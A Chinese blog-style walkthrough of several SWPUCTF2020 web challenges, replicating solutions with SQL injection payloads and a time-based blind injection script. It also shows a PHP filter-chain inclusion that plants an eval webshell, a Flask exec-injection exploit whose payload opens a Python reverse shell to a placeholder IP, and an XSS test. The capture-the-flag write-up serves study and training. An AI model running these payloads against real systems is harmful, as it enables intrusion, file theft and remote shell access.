大意了啊,没有扫!来,注!来,waf!就会用SQL欺负我这个练习时长两年半的老lj。。。
/administrator.html
/home.php
/index.php.bak
/log_in.php
/robots.txt
/test.php
复制 /robots.txt
提示了/administrator.html
路由,访问/administrator.html
,存在一个登录框,复现的话就不搞事情了(滑稽)
下载index.php.bak得到一个请求体
GET /important_index_its_so_long_right.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
复制 这地方才是真正的注入呀!
一顿联合注入获得登陆账号和密码:admin123 f1097380e513e86f2c1548cc1094bf4e(wllm@123)
回到/administrator.html
登录,登陆成功后F12获得注释信息
1
<!--<li><a href="writeuser_00001_log.log">日志记录</a></li>-->
复制
访问获得日志记录,base64解码,然后访问up_lo_ad_ad_min.php
,看名字是upload,应该是上传,寻找上传点,找不到。。。看了wp才发现原来还有另一个库h1nt
,注入得到字段内容:
1:00001:last_index_come_on_swpu_ctf.php?id=4
复制 使用00001登录up_lo_ad_ad_min.php
,出现上传点,绕不过,这里应该利用不了。。。不过此时hint字段的页面可以访问了且存在注入,直接load_file 读取flag。
1
0 'union select 1,2,3,load_file("/flag")--+
复制
涉及到的所有字符均为小写
hint1: 利用join多个大表造成延时
hint2: 好好测测我都过滤了什么内容 根据过滤的内容想应对的方法
先传一个id=1,然后F12发现SQL语句:
1
<!-- select * from users where id = '$id'-->
复制
fuzz一下,ban了不少东西,官方wp上有的我就不说了,说点实际复现过程中遇到的问题:
直接注会直接略过前1~4位,原因未知:使用reverse函数,然后将正注与反注的结果拼接(正注:ag;反注:alllf.sresu
。这样很容易导致一个认知错误,就是会误认为表名是flllaag,这个我也不知道怎么解决,只能通过试错来判断了。。。)
concat_group默认分隔符为逗号,但是逗号被ban了:使用通配符 . 代替逗号
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests as req
import time
import string
chars = string . ascii_letters + string . digits + "_ {} ."
name = ''
session = req . session ()
for i in range ( 50 ):
length = len ( name )
for char in chars :
print ( char , end = "" )
target = 'http://182.150.46.187:8801/ttttt/?id='
# 注表
## users,flllag
# sql_1 = "select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())"
# sql_1 = "select(reverse(group_concat(table_name)))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())"
# 无列名注入
## flag{blind_1nj3ct10n_1s_very_s1mpl3}
## 官方:select(group_concat(`2`))from(select*from(select(1))as`a`join(select(2))as`b`union(select*from(flllag)))as`a`
sql_1 = "select(group_concat(`2`))from(select*from((select(1))a)join((select(2))b)union(select*from(flllag)))c"
sql_2 = "select( {} )regexp' {} '" . format ( sql_1 , name + char )
sql = "case'1'when(( {} ))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end" . format ( sql_2 )
SQL = "1'^(select( {} ))^'1" . format ( sql )
# print(s)
start = time . time ()
res = session . get ( url = target + SQL )
end = time . time ()
if end - start < 0.5 :
name += char
print ( " \n [*]结果为:" + name )
break
if length == len ( name ):
print ( " \n [*]最终结果为:" + name )
break
复制
hint: robots,题目不能出网
robots.txt
User-Agent: *
Disallow: /index.php?route=contact
Disallow: /index.php?route=destinations
Disallow: /index.php?route=index
Disallow: /index.php?route=info
Disallow: /index.php?route=pricing
尝试路径拼接,访问/./././pricing.action
,返回正常,说明可以拼接路径,但是测试无法跳转,这时可以尝试远程文件包含:http://www.baidu.com.action
,回显处理路径源码:
1
2
3
4
5
6
7
8
9
10
11
<? php
function resolve_route ( $path ) {
$path = @ urldecode ( $path );
foreach ( $bad_url as $ukey ) {
if ( strpos ( $path , $ukey ) === 0 ) {
header ( 'HTTP/1.1 404 Not Found' );
echo "<p style= \" color: red \" >Request URL ' $path ' dose not exist!</p>" ;
show_source ( 'functions.php' );
return ;
}
}
复制
可以看到这里对路径进行一次url解码,我们可以通过二次编码%252f
绕过。既然知道怎么处理路径了,接下来就是读文件了,php伪协议直接读
1
php :% 252 f / filter / convert . base64 - encode / resource = index . action
复制
在contact.action
源码中找到一个GET表单,它获得输入后直接将输入值插入html表单而不做任何处理,只有一个html实体化,这样的话我们就可以通过编码绕过然后包含执行。
http://47.116.79.40:32773/php:%252f/filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFt0eXNraWxsMTFdKTs/Pg%23.action?tyskill11=phpinfo();
复制 关键词搜索flag,找到
open_basedir: /var/www/html/f83b25c297736f9df64b448d0cfe9c70:/flag.txt
读flag,payload
1
php :% 252 f / filter / convert . iconv . utf - 8. utf - 7 / convert . base64 - decode / resource = http :% 252 f / localhost / contact . action % 3 fname = xxPD9waHAgZXZhbCgkX0dFVFt0eXNdKTs / Pg % 23. action ? tys = show_source ( "/flag.txt" );
复制
由于表单不支持POST,所以这里也许无法达成后门。
hint1: 尝试弄出错误页面,上面有东西
hint2: User-Agent
传数组出现debug界面,然后各种尝试大概复原源码就差不多了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
from flask import Flask , render_template , request , send_from_directory
app = Flask ( __name__ )
whitelist = '.0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz'
@app.route ( '/' , methods = [ 'POST' , 'GET' ])
def Hello ():
return render_template ( "index.html" )
@app.route ( '/equ.php' , methods = [ 'POST' ])
def Equ ():
left = request . form [ 'left' ]
for ch in left :
if ch not in whitelist :
return render_template ( "equ.html" , equation = "I'm" , result = '莫的感情的bot' )
right = request . form [ 'right' ]
for ch in right :
if ch not in whitelist :
return render_template ( "equ.html" , equation = "I'm" , result = '莫的感情的bot' )
equstr = left + "=" + right
exec ( "res=" + left + "==" + right )
result = locals ()[ 'res' ]
return render_template ( "equ.html" , equation = equstr , result = result )
@app.route ( '/robots.txt' )
def static_from_root ():
复制
额,也不知道robots.txt
的/source.tar
是不是烟雾弹,访问返回404。。。
不管他,反正源码收集的差不多了,exec("res="+left+"=="+right)
存在命令注入,使用 ; 作为命令分隔符执行命令。由于禁用了()
,所以似乎没办法逃逸。同时也只导入了request,也没办法使用flask的内置函数逃逸,似乎除了官方的就没办法了(我太菜了)。
那就分析一下官方的payload:
1
left = request . __class__ . __getitem__ = __builtins__ . exec ; request [ request . user_agent . string ]; 1 & right = 1
复制
1=1都看得懂,主要还是前面payload的构造。
这里是通过 = 获得模块__builtins__
,同理我们可以导入__import__
,但是白名单中并没有引号,所以也没办法直接命令执行。接下来就是从__builtins__
获得exec函数命令执行。此时request重载为<built-in function exec>
,直接request[request.user_agent.string]
执行UA头内容命令执行。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests as req
url = "http://noobpy.fkeuyri4yr34.das.wetolink.com:82/equ.php"
session = req . Session ()
def exp ( poc1 , poc2 ):
data = {
"left" : poc1 + "1" ,
"right" : "1"
}
header = {
"User-Agent" : poc2
}
res = session . post ( url , data = data , headers = header )
print ( res . text )
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp ( "request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];" , 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' )
复制
一开始以为是注入,结果F12里面action=""
透露着一丝诡异的气息,不是注入,那就扫!
访问/phpmyadmin
,尝试一波弱口令,没试出来,不会了。。。
开局一个注册框,随便注册一个1<??>1
,登陆进去发现用户名直接插入到html文本中。退出重新注册<script>alert(1)</script>
,发现可以弹窗,存在XSS,但是PHPSESSID设置了HttpOnly属性,我们无法通过js脚本获取admin的cookie。
咕咕咕
重来 题目的环境都关了,就不复现了。
SWPUCTF2020 官方WP